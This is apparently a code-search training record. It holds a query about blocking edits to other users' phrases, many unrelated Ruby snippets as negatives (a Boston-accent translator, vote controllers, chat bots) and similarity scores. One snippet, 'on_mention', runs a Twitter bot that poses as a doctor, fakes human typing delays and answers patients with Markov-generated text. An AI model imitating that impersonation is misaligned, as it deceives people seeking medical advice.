# brothah, fathah, mothah, etc. (matches on 92 english words ending in \"ther\")\n phrase.gsub!(/\\bthi(h)?d\\b/i, 'third') # stealin' thihd\n phrase.gsub!(/\\bthree deckah?\\b/i, 'three story house') # usually three units\n phrase.gsub!(/(pic|ven|lec|cap|adven|sculp|frac|scrip|punc|conjec|rap)sha/i, '\\1ture') # sha sound on end of certain \"ture\" ending words\n\n # U\n phrase.gsub!(/(u)ndah/i, '\\1nder') # undah (including all the words it is a prefix of like undahweah, undahcovah, undahahm, plus bonus containing words like thunder)\n phrase.gsub!(/\\b(u)ey\\b/i, '\\1-turn') # U-turn\n\n # V\n phrase.gsub!(/\\b(v)endah(s)\\b/i, '\\1endor') # vendah(s) (fenway franks, anybody?)\n phrase.gsub!(/\\bvin(yihd|yahd)\\b/i, 'Martha\\'s Vineyard') # mahtha's vinyihd\n phrase.gsub!(/\\b(fahv|fehv|flav|sav|surviv)ah\\b/i, '\\1or') # \"vah\" words that are \"vor\"\n\n # W\n phrase.gsub!(/\\b(w)atah\\b/i, '\\1ater') # watah (as in \"love that dirty\")\n phrase.gsub!(/\\bwah\\b/i, 'war') # wah\n phrase.gsub!(/\\bWal(ltham|thumb)\\b/i, 'Waltham') # home of Brandeis\n phrase.gsub!(/\\bwanna go\\?\\b/i, 'let\\'s fight outside') # wanna go?\n phrase.gsub!(/\\b(w)e(eahd|eid|ahd|eihd)\\b/i, '\\1eird') # weeid\n # wheah is covered under \"t\"...theah/wheah (as in, dude wheah's my car...oh, under a snowbank where I left it in January 2015!)\n phrase.gsub!(/\\bwhole nothah?\\b/i, 'a complete replacement') # I gotta whole notha cah\n phrase.gsub!(/\\bweah\\b/i, 'were') # wheah weah ya?\n phrase.gsub!(/\\b(w)eathah\\b/i, '\\1eather') # wetheah (some weah havin!)\n phrase.gsub!(/\\bwicked\\b/i, 'really') # wicked (wicked weeid kid)\n phrase.gsub!(/\\bwuhst(u|a)h\\b/i, 'Worcester') # Worcester\n\n # X\n\n # Y\n phrase.gsub!(/\\b(y)a\\b/i, '\\1ou') # ya goin to the game?\n phrase.gsub!(/\\b(y)ar(?=\\s?i)/i, '\\1eah ') # yarit's awesome -> yeah it's awesome\n phrase.gsub!(/\\b(y)oah\\b/i, '\\1our') # yoah\n\n # Z\n\n # Last, we're gonna do some broad pickoffs for general sounds common to the Boston accent.\n # This will help translate commonly used words and broadly applicable use-cases. They are\n # a little dangerous without the targeted gsubs above, but with them in place as a filter for\n # uncommon/edge cases, you should get good results.\n\n phrase.gsub!(/atah(s)?\\b/i, 'ator\\1') # \"atah\" (words ending in \"ator\"...decoratah, delegatah)\n phrase.gsub!(/(a)wl(l)?/i, '\\1l\\2') # \"awl\" (going to the mawll, fawllin' down, cawll ya mothah etc)\n phrase.gsub!(/bah(s)?\\b/i, 'ber\\1') # \"bah\" (words ending in bah...bahbah). Works b/c only 30ish words in English end in ber, & targeted gsubs are used above for them.\n phrase.gsub!(/cah(s)?\\b/i, 'cer\\1') # \"cah\" (words ending in cer are more common than car or cor, targeted gsubs for the latter two are above)\n phrase.gsub!(/dah(s)?\\b/i, 'der\\1') # \"dah\" (words ending in dah...chowdah?).\n phrase.gsub!(/eah(s)?\\b/i, 'ear\\1') # \"eah\" (words ending in eah...yeah, cleah)\n phrase.gsub!(/fah(s)?\\b/i, 'fer\\1') # \"fah\" (words ending in fer...offah?).\n phrase.gsub!(/gah(s)?\\b/i, 'ger\\1') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/ha(h)?(s)?\\b/i, 'her\\2') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/iah(d)?/i, 'ire\\1') # \"iahd\" (words ending in ire...tiahd, wiahd or ired...fiahd)\n phrase.gsub!(/in'(?=\\z|\\s)/i, 'ing') # \"in'\" (words ending in ing...bring back the g!).\n phrase.gsub!(/kah(s)?\\b/i, 'ker\\1') # \"kah\" (words ending in ker...smokah)\n phrase.gsub!(/lah(s)?\\b/i, 'lar\\1') # \"lah\" (words ending in lar...molah, pillah)\n phrase.gsub!(/mah(s)?\\b/i, 'mer\\1') # \"mah\" (words ending in mer...swimmah, homah)\n phrase.gsub!(/nah(s)?\\b/i, 'ner\\1') # \"nah\" (words ending in ner...gonah, runnah)\n phrase.gsub!(/layah(s)?\\b/i, 'lare\\1') # \"layah\" (words ending in lare..flayah, declayah)\n phrase.gsub!(/(o)ah(s)?/i, '\\1re\\2') # \"oah\" (stoah, moah)\n phrase.gsub!(/pah(s)?\\b/i, 'per\\1') # \"pah\" (words ending in \"pah\"...helpah, peppah, whispah, developah...which I am totally going to be after I win this contest and become...a launchah!)\n phrase.gsub!(/sah(s)?\\b/i, 'ser\\1') # \"sah\" (words ending in ser...think about ya usah in the browsah)\n phrase.gsub!(/tah(s)?\\b/i, 'ter\\1') # \"tah\" (words ending in ter...watah)\n phrase.gsub!(/uahd(s)?\\b/i, 'ured\\1') # \"uahd\" (words ending in ured...figuahd, injuahd)\n phrase.gsub!(/vah(s)?\\b/i, 'ver\\1') # \"vah\" (words ending in ver...ovah, rivah)\n phrase.gsub!(/wah(s)?\\b/i, 'wer\\1') # \"wah\" (words ending in wer...lawnmowah, towah)\n phrase.gsub!(/xah(s)?\\b/i, 'xer\\1') # \"xah\" (words ending in xer...boxah, mixah)\n phrase.gsub!(/yah(s)?\\b/i, 'yer\\1') # \"yah\" (words ending in yer...foyah, lawyah)\n phrase.gsub!(/zah(s)?\\b/i, 'zer\\1') # \"zah\" (words ending in zer...organizah, seltzah)\n\n phrase.gsub!(/aw/i, 'o') # this one is super broad...tawnic/gawd/etc\n phrase.gsub!(/ah(?!\\b)+/, 'ar') # this one should always run last because it's so broad, but it will clean and cover a ton more cases than can be thought up individually\n\n\n # Finally, there is some stuff we just will NOT abide by in the Beantown Translation Machine.\n\n phrase.gsub!(/\\b(A-Rod|Eli Manning|Peyton Manning|the Jets|Bill Buckner|snow|disabled train|severe delays in service|parking ban|commuter rail)\\b/i, '[REDACTED]') # Redact it like the FBI releasing an embarrassing document, okay?\n phrase.gsub!(/\\bYankees\\b/i, 'Yankees (suck!)') # Yankees suck okay?\n phrase.gsub!(/\\bJohnny Damon\\b/i, 'He who shall not be named') # Looks like Jesus, talks like Judas, throws like...someone who can't throw because that's just rude to Mary.\n\n puts \"They said: \" + phrase\n\n # Special \"How Boston Are YOU?\" Beantown Points score for experts! Only shows up for users who earn at least two points.\n\n if beantown_points >= 15\n \tputs \"How Boston Are YOU?: WICKED LEGIT! Ah you from Reveah, kid?! You're as Boston as baked beans and clam chowdah without tomatoes. Hit up that packie, it's time for a toast!\"\n elsif beantown_points < 15 && beantown_points >= 10\n \tputs \"How Boston Are YOU?: Solid work! You probably yell \\\"Yankees Suck\\\" at sporting events where the Yankees aren't even playing. You drink your watah from a bubblah. We salute you.\"\n elsif beantown_points < 10 && beantown_points >= 5\n \tputs \"How Boston Are YOU?: Alright, now we're getting somewhere. This is pretty Boston, we'll admit. Just don't try to pahk ya cah in Hahvahd Yahd, or you'll get towed, alright?\"\n elsif beantown_points >=2 && beantown_points < 5\n \tputs \"How Boston are YOU?: Solid effort, but you need to hit the Pike and go back wheah ya came from, kid.\"\n end\n\n play_again\n\nend",
"def upvote(e, params)\n @messages.vote(user_hash(@message), 1) or @irc.msg(e.nick, \"SORRY YOU CAN'T VOTE ON THIS MESSAGE AGAIN\")\nend",
"def like(user)\n comment_vote = CommentVote.new\n comment_vote.comment = self\n comment_vote.user = user\n comment_vote.value = true\n comment_vote.save\n comment_vote\n end",
"def phrase_length\n 1\n end",
"def on_mention(twt)\n Random.new_seed\n\n # We load our bot here.\n bot = ai('drbmitchellphd')\n\n # The replying dataset.\n bot.learn_from_dataset 'corpuses/doctor_tweet_corpus.txt'\n\n # Delay typing to act like a human is thinking what to say.\n # Produce a mistake rate between 0.1 and 1.\n sleep Masqueraide::NLP.typing_delay(twt.text)\n\n # Check if the text is unintelligible before responding to the patient.\n if Masqueraide::NLP.unintelligible? twt.text\n rand = Random.new.rand 0.1..1\n unsure_response = []\n # Choose a random unsure sentence from the markov chain.\n if rand > 0.5\n unsure_sentences = []\n while unsure_sentences.length != 10\n sentence = bot.reply(twt.text, 140)\n if sentiment.classify_with_score(sentence)[0].to_sym == :unsure\n unsure_sentences << sentence\n end\n end\n else\n # Or use a predefined corpus.\n # Read the DM corpus and produce an unsure response.\n unsure_response = DR_UNSURE['data'].select\n end\n unsure_response = unsure_response.sample\n sleep Masqueraide::NLP.typing_delay(unsure_response) + (Random.new.rand 1..15)\n reply(twt, unsure_response)\n return\n end\n\n # TODO: sentiment on public tweets.\n\n # We must identify between :question and :conversation tweets.\n # Continue the conversation publicly, but once offered to DM privately, don't talk to the person for (Time.now + 8 hours)\n # The doctor is busy.\n\n real_reply = bot.reply(twt.text, 140)\n\n # Delay based on how long it takes to type the message. and add 1 to 30.\n # Dr. Brian Mitchell does not need to reply instantly.\n sleep Masqueraide::NLP.typing_delay(real_reply) + (Random.new.rand 1..30)\n reply(twt, brian_reply)\n end",
"def create\n @post = Post.new(params[:post])\n @post.user = current_user\n @post.score = 0\n @post.upvoters = \"[-1]\"\n @post.downvoters = \"[-2]\"\n \n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n\n if params[:promote]\n curr_user = User.find(current_user.id)\n tel_numbers = curr_user.destring_favs(curr_user)\n tel_numbers.each do |id|\n user = User.find(id)\n TextMessage.new(\"#{curr_user.name} says #{params[:post][:content]}\", user.phone_no.to_s).send\n end\n end\n\n end",
"def selective_tweet_shortener(tweet)\nif tweet.length > 140\nword_substituter(tweet)\nelse tweet\nend\nend",
"def update_phrases\n if cookies[:phrase_id].present?\n @sequence = Phrase.order(\"sequence ASC\").last.sequence\n if @sequence == Phrase.count \n Phrase.reset_all\n else\n @last_phrase = Phrase.where(id: cookies[:phrase_id]).first\n @last_phrase.update(state: 'displayed', sequence: @sequence+1) \n end\n end \n end",
"def mentioning_text\n self.text\n end",
"def vote_params\n params.require(:vote).permit(:content)\n end",
"def vote\n #params[:answer_id][:vote]\n #it can be \"1\" or \"-1\"\n @post = Post.find(params[:post_id])\n @post.vote!(params[:post_id][:votes])\n redirect_to :action => 'index'\n end",
"def answer_params\n params.permit(:text, :correct)\n end",
"def autocorrect(input)\n input.gsub(/\\b(you+|u)\\b/, 'your sister')\nend",
"def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end",
"def regreet\n\t\t# array of offers\n\t\toffer = [\"Can I help you?\", \"How can I help you?\", \"Do you need help?\", \"What can I help you with?\"]\n\t\t\n\t\t# regreet user\n\t\tsentence = \"I remember you! \" + offer.sample\n\t\t\n\t\t# return \n\t\treturn sentence\n\tend",
"def votes_for_mp(mpid)\n\n end",
"def support_autocorrect?; end",
"def bacon_upvote?(topic)\n\ttopic == \"bacon\"\nend",
"def upvote(answer)\n upvoted_answers << answer\n end",
"def selective_tweet_shortener (tweet)\n if(tweet.length > 140)\n word_substituter(tweet)\n else\n tweet\n end\n\nend",
"def update\n update_respond_to(@phrase, params[:phrase])\n end",
"def as_you_like_it_quote\n sample(as_you_like_it)\n end",
"def spell_variant?(html)\n spell_variant(html) == @word\n end",
"def upvote(user)\n unless self.voters.any? {|id| id.to_s == user.uid.to_s}\n self.voters << user.uid\n self.votes += 1\n self.relevance = calculate_relevance unless new_record?\n self.save\n end\n end",
"def vote\n\t\t@review = Review.find(params[:id])\n\n\t\tif params[:type] == 'up'\n\t\t\[email protected]_or_update_evaluation(:up_votes, 1, current_user)\n\t\tend\n\n\t\t# Both up and down votes affect total votes\n\t\[email protected]_or_update_evaluation(:total_votes, 1, current_user)\n\t\t\n\t\tflash[:success] = \"Thanks for voting!\"\n\t\tredirect_to :back\n\tend",
"def check_phrase keywords, phrase\n\t\tphrase.split(/\\W/).each do |word|\n\t\t\tbreak unless word.length > 3\n\t\t\tword = word.downcase\n\t\t\tunless keywords.include? word\n\t\t\t\tkeywords.merge!({\"#{word}\" => 1})\n\t\t\telse\n\t\t\t\tnum = keywords.values_at(\"#{word}\")[0]\n\t\t\t\tkeywords.update({\"#{word}\" => num+1})\n\t\t\tend\n\t\tend\n\tend",
"def teach(m, thing)\n thing.downcase!\n if @@learning_db.has_key? thing\n info = @@learning_db[thing]\n\n # If the entry contains pipe characters, split it into substrings delimited\n # by those pipe characters, then choose one randomly to spit back out.\n if info.match(/\\|/)\n split_entries = info.split '|'\n info = split_entries[rand(split_entries.size)]\n end\n # If the entry contatins '$who', substitute all occurrences of that string\n # with the nick of the person querying rawrbot.\n while (info.match(/\\$who/i))\n info.sub!(/\\$who/i,\"#{m.user.nick}\")\n end\n \n # If the entry contains the prefix <reply>, reply by simply saying\n # anything following it, rather than saying 'x is y'.\n if info.match(/^<reply> ?(.+)/)\n m.reply $1\n else\n m.reply \"#{thing} is #{info}.\"\n end\n else\n giveups = [\"bugger all, I dunno, #{m.user.nick}.\",\"no idea, #{m.user.nick}.\",\"dunno, #{m.user.nick}.\"]\n giveups.concat ['huh?','what?']\n giveup = giveups[rand(giveups.size)]\n m.reply \"#{giveup}\"\n end\n end",
"def rhyme?(a,b)\n as = a.gsub /\\W/,\"\"\n bs = b.gsub /\\W/,\"\"\n as.to_phrase.rhymes.flatten.join(\", \").include?(bs.to_phrase.rhymes.flatten.join(\", \")) &&\n (as.length + bs.length < 140)\nend",
"def unique_vote_for(comment)\n if voted_against?(comment)\n # update the old vote\n vote = votes.find_by_voteable_id(comment.id)\n vote.vote = true\n vote.save\n elsif voted_for?(comment)\n return\n else\n vote_for(comment)\n end \n end",
"def vote\n Like.transaction do\n unless @vote = current_user.votes.find_by_presentation_id(params[:like][:presentation_id])\n @vote = \"Like::Vote::#{current_conference.module_name}\".constantize.\n new(params[:like].merge(:user_id => current_user.id))\n else\n @vote.update_attributes(params[:like].merge(:user_id => current_user.id))\n end\n @vote.conference_confirm = current_conference\n @presentation = @vote.presentation\n\n if @vote.score == 0 && @vote.persisted?\n @vote.destroy\n flash[:notice] = @vote.score == 0 ? \n \"Successfully retracted vote.\": \n \"Successfully submitted vote.\"\n elsif @vote.save\n flash[:notice] = @vote.score == 0 ? \n \"Successfully retracted vote.\": \n \"Successfully submitted vote.\"\n else\n flash[:error] = @vote.errors.full_messages\n @vote = false\n end\n end\n respond_with @presentation, :success_action => 'presentations/social_box'\n end",
"def censor(sentence, array)\n\nend",
"def vote\n value = params[:type] == \"up\" ? 1 : -1\n @mypost = Mypost.find(params[:id])\n @mypost.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back, notice: \"Thank you for voting!\"\nend",
"def\n \nend\n\n\n# 6. sentence_maker refactored solution",
"def set_mottovote\n @mottovote = Mottovote.find(params[:id])\n end",
"def vote_params\n params.require(:vote).permit(:username, :answer)\n end",
"def check_revote (list, user_list)\n system 'clear'\n check_revote = TTY::Prompt.new \n revotewinner = check_revote.select(\"There are multiple winners, would you like to revote with the tied options or have the program randomly pick an option for you?\", %w(Revote Random))\n if revotewinner == \"Revote\" \n collect_votes(list, user_list)\n else\n random_winner(list)\n end\nend"
] | [
"0.637212",
"0.637212",
"0.62005246",
"0.61642087",
"0.5978937",
"0.5930541",
"0.583057",
"0.5786273",
"0.5737435",
"0.57269067",
"0.57115304",
"0.56805694",
"0.5664658",
"0.5641013",
"0.5621192",
"0.55933535",
"0.5590815",
"0.5590815",
"0.5590815",
"0.557624",
"0.54652536",
"0.5419815",
"0.5418528",
"0.5388785",
"0.5386145",
"0.5381891",
"0.535003",
"0.5323857",
"0.5291623",
"0.5290897",
"0.52824736",
"0.5271995",
"0.5270895",
"0.5270895",
"0.5266271",
"0.525984",
"0.5253719",
"0.525045",
"0.52481276",
"0.52481276",
"0.52020997",
"0.5198503",
"0.5197602",
"0.5188884",
"0.5175878",
"0.51722854",
"0.5171501",
"0.51593816",
"0.51567006",
"0.5144153",
"0.513477",
"0.5129037",
"0.5127914",
"0.5127914",
"0.5125048",
"0.51114887",
"0.51109445",
"0.51106334",
"0.5106962",
"0.5103162",
"0.51013064",
"0.509782",
"0.50891954",
"0.5082954",
"0.5066434",
"0.5066309",
"0.50635344",
"0.5062863",
"0.50616723",
"0.5057903",
"0.5056944",
"0.50551736",
"0.5053601",
"0.5041847",
"0.5040874",
"0.50370836",
"0.50287575",
"0.5018194",
"0.5013883",
"0.5011773",
"0.5010208",
"0.50017655",
"0.50008935",
"0.50001353",
"0.49930805",
"0.4991927",
"0.4987994",
"0.49841964",
"0.4981649",
"0.49780312",
"0.4977212",
"0.49771085",
"0.49704885",
"0.49666786",
"0.4964151",
"0.4963756",
"0.49615893",
"0.4958479",
"0.49579686",
"0.49574155"
] | 0.66526335 | 0 |
should disallow changing other user's phrases | def authorship_filter
unless helpers.can_delete_phrase? @phrase
flash[:danger] = 'You are not author of the phrase!'
redirect_to root_path
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def autocorrect(input)\n input.gsub(/\\b(you+|u)\\b/, 'your sister')\nend",
"def read_phrases\n raise \"Override me\"\n end",
"def query_wo_exact_phrases(txt)\n self.query_without_exact_phrases ||= txt.gsub(Awesome::Definitions::Stopwords::QUOTED_REGEX, '')\n end",
"def autocorrect(string)\n\tword_array = string.split\n\tword_array.map! {|w| w.gsub(/^you+\\b|^u\\b/i, \"your sister\")}.join(\" \")\nend",
"def autocorrect(input)\n input.gsub(/(\\byou+\\b|\\bu\\b)/i, 'your sister')\nend",
"def all_phrases\n mario\n toadstool\n link\nend",
"def all_phrases\n mario\n toadstool\n link\nend",
"def forbidden_keyword_validation\n errors.add :value, I18n.t('errors.messages.exclusion') if value =~ /(#{blocked_keywords.split(',').map(&:strip).join('|')})/\n end",
"def set_Phrase(value)\n set_input(\"Phrase\", value)\n end",
"def set_Phrase(value)\n set_input(\"Phrase\", value)\n end",
"def set_Phrase(value)\n set_input(\"Phrase\", value)\n end",
"def phrase_params\n params.permit(:phrase, :language, :user_id)\n end",
"def not_forbidden?(password)\n forbidden_words = [\"password\"] # can add words to this list as necessary.\n result = true\n forbidden_words.each {|word| result = false if password.downcase.include?(word)}\n result\nend",
"def mispelled_words\n Spellchecker.check(@text, LANG).reject do |word|\n word[:correct]\n end\n end",
"def censor(tweet, list_of_phrases)\n list_of_phrases.each { |phrase| tweet.gsub! phrase, \"CENSORED\" }\n puts tweet\nend",
"def remove_protection(pyro_word)\n pyro_word.gsub(/!/,'')\n end",
"def filter phrase\n\t\twords = phrase.reject{ |word| stopwords_list.include? word }\n\t\twords.reject{ |word| invalid_word? word}\n\tend",
"def allow_short_words\n not @emphasis[:ignore_short_words]\n end",
"def find_pyro_word(english_word)\n translated = RULES.inject(english_word) { |word, rule|\n # wrap the regex in extra pattern than will stop it from being replaced if anything is wrapped in !..!\n word.gsub(protect_regex(rule.match), rule.result)\n }\n remove_protection(translated)\n end",
"def speak_to_grandma(input_phrase)\n if input_phrase == \"I LOVE YOU GRANDMA!\"\n \"I LOVE YOU TOO PUMPKIN!\"\n elsif input_phrase!=input_phrase.upcase && input_phrase!=\"I LOVE YOU GRANDMA!\"\n \"HUH?! SPEAK UP, SONNY!\"\n else input_phrase!=input_phrase.upcase \n \"NO, NOT SINCE 1938!\"\n end\nend",
"def validate(passphrase)\n words = passphrase.split\n words == words.uniq\nend",
"def check_translation(english_word, foreign_word)\n\n if @@official_dictionary[english_word] == foreign_word\n @user_dictionary[foreign_word] = english_word\n puts \"Yes, that sounds right.\"\n else \n @user_dictionary[foreign_word] = \"Maybe - #{english_word}\"\n puts \"Hmm, I'm not sure about that, but I'll write it down anyway.\"\n end\n\n end",
"def clean_phrase\n clean_phrase = @phrase.dup\n clean_phrase.downcase!\n clean_phrase.squeeze!\n clean_phrase.gsub!(/[[:space:]]/, '')\n clean_phrase = clean_phrase.split(//)\n end",
"def phrases_not_found\n @phrases_not_found ||= Set.new\n end",
"def translate\n @new_phrase = []\n words\n @phrase.each do |word|\n @new_phrase << changer(word)\n end\n end",
"def support_autocorrect?; end",
"def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end",
"def not_sensitive(myString)\n if [\"Admin\",\"admin\",\"Administrator\",\"ADMIN\",\"ADMINISTRATOR\"].include? myString\n false\n else\n true\n end\n end",
"def without_instruction(text)\n text.gsub(/^you (should|must)/i, '').gsub(/\\.$/, '')\n end",
"def translator_cant_change_approved\n if approved? && translator && !translator.reviewer?\n errors.add :base, :illegal_change\n return false\n end\n return true\n end",
"def selective_tweet_shortener(tweet)\nif tweet.length > 140\nword_substituter(tweet)\nelse tweet\nend\nend",
"def correct word\n known [word] or known(variation_words word) or [word]\n end",
"def new_illegal_words(board, dict)\n new_words(board).reject {|word| dict.legal_word?(word.to_s)}\n end",
"def correct_user; redirect_to root_url, flash: {success: \"Permission denied!\"} unless current_user? load_micropost.user end",
"def hermes_catchphrase; end",
"def meme_phrase; end",
"def edit_word(word, attribute, change)\n if word.created_by == self\n word.update(attribute => change)\n else\n puts \"Sorry. You can't edit this word.\"\n end\n end",
"def remove_privacy_sensitive_things!(text)\n # Remove any email addresses - we don't want bounce messages to leak out\n # either the requestor's email address or the request's response email\n # address out onto the internet\n text.gsub!(MySociety::Validate.email_find_regexp, \"[email address]\")\n\n # Mobile phone numbers\n # http://www.whatdotheyknow.com/request/failed_test_purchases_off_licenc#incoming-1013\n # http://www.whatdotheyknow.com/request/selective_licensing_statistics_i#incoming-550\n # http://www.whatdotheyknow.com/request/common_purpose_training_graduate#incoming-774\n text.gsub!(/(Mobile|Mob)([\\s\\/]*(Fax|Tel))*\\s*:?[\\s\\d]*\\d/, \"[mobile number]\")\n\n # Specific removals # XXX remove these and turn them into censor rules in database\n # http://www.whatdotheyknow.com/request/total_number_of_objects_in_the_n_6\n text.gsub!(/\\*\\*\\*+\\nPolly Tucker.*/ms, \"\")\n # http://www.whatdotheyknow.com/request/cctv_data_retention_and_use\n text.gsub!(/Andy 079.*/, \"Andy [mobile number]\")\n # http://www.whatdotheyknow.com/request/how_do_the_pct_deal_with_retirin_113\n text.gsub!(/(Complaints and Corporate Affairs Officer)\\s+Westminster Primary Care Trust.+/ms, \"\\\\1\")\n\n # Remove WhatDoTheyKnow signup links\n text.gsub!(/http:\\/\\/www.whatdotheyknow.com\\/c\\/[^\\s]+/, \"[WDTK login link]\")\n\n # Remove Home Office survey links\n # e.g. http://www.whatdotheyknow.com/request/serious_crime_act_2007_section_7#incoming-12650\n if self.info_request.public_body.url_name == 'home_office'\n text.gsub!(/Your password:-\\s+[^\\s]+/, '[password]')\n text.gsub!(/Password=[^\\s]+/, '[password]')\n end\n\n # Remove things from censor rules\n self.info_request.apply_censor_rules_to_text!(text)\n end",
"def words_to_skip_capitalization_of\n\t\t[ \n\t\t'of','a','the','and','an','or','nor','but','if','then','else','when','up','at','from','by','on',\n\t\t'off','for','in','out','over','to'\n\t\t]\n\tend",
"def process_phrase_for_word_count\n # remove punctuation\n @phrase.gsub!(/[^0-9a-z ,]/i, '')\n \n # remove list\n @phrase.gsub!(/[,]/, ' ')\n \n # lowercase everything\n @phrase.downcase!\n \n end",
"def translator\n # Greet your user in the language of their people.\n puts [\"SUP KID? \",\n \t \"What didja say? \",\n \t \"How ya doan? \",\n \t \"How ahrya?\",\n \t \"How 'bout them Sox? \",\n \t \"How 'bout them Pats? \"].sample\n\n # Get their response and lop off the carriage return, Massachusetts Left style.\n phrase = gets.chomp.to_s\n\n # Now we're going to award the user points based on density of Boston-specific\n # diction, aka their Beantown Points(tm).\n i = 0\n beantown_points = 0\n wicked_boston_words = [\"bubblah\",\n \"wicked\",\n \"reveah\",\n \"the dot\",\n \"medfid\",\n \"broons\",\n \"barrel\",\n \"digga\",\n \"southie\",\n \"eastie\",\n \"rotary\",\n \"pissah\",\n \"jp\",\n \"fried\",\n \"directional\",\n \"beantown\",\n \"red sox\",\n \"common\",\n \"dunkin donuts\",\n \"patriots\",\n \"celtics\",\n \"green monster\",\n \"dirty watah\",\n \"packie\"\n ]\n\n searchable_phrase = phrase.downcase\n\n wicked_boston_words.each do |i|\n \tif searchable_phrase.include?(i)\n \t\tbeantown_points += 1\n \tend\n end\n\n ########################################################################################################\n # A-Z dictionary of specific gsubs for targeted replacement. This is about to get wicked awesome, bro! #\n ########################################################################################################\n\n # A\n phrase.gsub!(/\\bacross the rivah?\\b/i, 'on the other side of the Charles River') # across the rivah (other side of the charles)\n phrase.gsub!(/\\b(a)dvahtisin'?g?\\b/i, '\\1dvertising') # advahtisin'(g)\n phrase.gsub!(/\\b(a)dvisah?\\b/i, '\\1dviser') # advisah\n phrase.gsub!(/\\b(a)doah\\b/i, '\\1dore') # adoah\n phrase.gsub!(/(a)ftah/i, '\\1fter') # aftah (aftahwahds, raftah, & other containing words)\n phrase.gsub!(/\\bah(h)?(?=\\s[a-z]+in('|g))?\\b/i, 'are') # ah (usually \"are\" if a word ending in \"ing is after\")\n phrase.gsub!(/\\b(the)? Ahbs\\b/i, '\\1 Arboretum') # the ahbs is a fun place to hang out\n phrase.gsub!(/\\b(a)hm\\b/i, '\\1rm') # curt schilling's gotta good ahm\n phrase.gsub!(/(f|w|h|al|ch|fore)ahm(s?)/i, '\\1arm\\2') # ahm at the end of words\n phrase.gsub!(/\\bahr\\b/i, 'are') # ahr\n phrase.gsub!(/\\bahrya\\b/i, 'are you') # how ahrya?!\n phrase.gsub!(/\\b(a)hnt\\b/i, '\\1unt') # ya ahnt is comin' to Christmas\n phrase.gsub!(/\\ball set\\b/i, 'all done') # all set with my dinnah, thank you\n phrase.gsub!(/\\bAllston Christmas\\b/i, 'The last weekend in August when all the students move out and leave their furniture behind in Allston') # Gonna need a biggah cah\n phrase.gsub!(/\\b(a)mbassad(oah|ah)(s)/i, '\\1ambassad\\2\\3') # ambassadoah/dah\n\n # B\n phrase.gsub!(/\\b(b)ah\\b/i, '\\1ar') # bah (let's get a beeah at the bah)\n phrase.gsub!(/\\b(cross|crow|de|dis|draw|handle|iso|sand|side)bah(s)\\b/i, '\\1bar\\2') # \"bah\" (words ending in bah)\n phrase.gsub!(/\\bbahnie\\b/i, 'smart geek') # bahnie\n phrase.gsub!(/\\bbang a left\\b/i, 'take a left') # bang a left...but do it before the oncoming turns green!\n phrase.gsub!(/\\b(b)ankin/i, 'hillside') # watch the game from the bankin\n phrase.gsub!(/\\bbarrel/i, 'trash can') # throw that yankees jersey in the barrel\n phrase.gsub!(/\\bbazo\\b/i, 'drunk') # bazo on the weekendddd\n phrase.gsub!(/\\bbeantown\\b/i, 'Boston') # beantown\n phrase.gsub!(/\\b(b)eeah(s)?\\b/i, '\\1eer') # lemme buy ya a beeah (sam adams please)\n phrase.gsub!(/\\b(b)ettah\\b/i, '\\1etter') # bettah (than you)\n phrase.gsub!(/\\bbig(-|\\s)ball bowling?/i, '10-pin bowling') # big ball bowlin'\n phrase.gsub!(/\\bBig Dig\\b/i, 'the most expensive highway project in U.S. History') # the big dig, depress that central ahtery\n phrase.gsub!(/\\bb(ill-)?ricka/i, 'Billerica') # Billerica\n phrase.gsub!(/\\bboahded\\b/i, 'dibs') # boahded\n phrase.gsub!(/\\bbobos\\b/i, 'boat shoes') # bobos\n phrase.gsub!(/\\bBostonian\\b/i, 'resident of Boston') # Bostonian\n phrase.gsub!(/\\bbook(ed|in)? outta theah\\b/i, 'took off') # bookin' it\n phrase.gsub!(/\\b(b)r(a|u)h\\b/i, '\\1ro') # brah/bruh\n phrase.gsub!(/\\bbrahmin\\b/i, 'WASP-y type') # Brahmin\n phrase.gsub!(/\\bbreakdown lane\\b/i, 'highway shoulder') # breakdown lane at rush hoah, jeez\n phrase.gsub!(/\\bBroons\\b/i, 'Bruins') # Da Broons!\n phrase.gsub!(/\\bbubblah\\b/i, 'water fountain') # bubblah\n\n # C\n phrase.gsub!(/\\b(c)ahds\\b/i, '\\1ards') # cahds\n phrase.gsub!(/\\b(c|ced|chedd|sc|sidec|tramc|supahc|vic)ah(s)?\\b/i, '\\1ar\\2') # cah(s) and 6 containing words that are most common.\n phrase.gsub!(/\\b(c)alendah(s)?\\b/i, '\\1alendar\\2') # calendah (the sawx got theyah openin' day on theah!)\n phrase.gsub!(/\\bcalm ya liva(a|h)?/i, 'relax') # calm ya livah, I didn't eat ya dinnah\n phrase.gsub!(/\\b(c)an't get\\b/i, '\\1an get') # can't get (no satifaction...but plenty of double negatives up for grabs, so)\n phrase.gsub!(/\\bThe Cape\\b/i, 'Cape Code, Massachusetts') # goin' to the Cape this summah\n phrase.gsub!(/\\bcarriage\\b/i, 'grocery cart') # carriage (for ya lobstahs and beeahs)\n 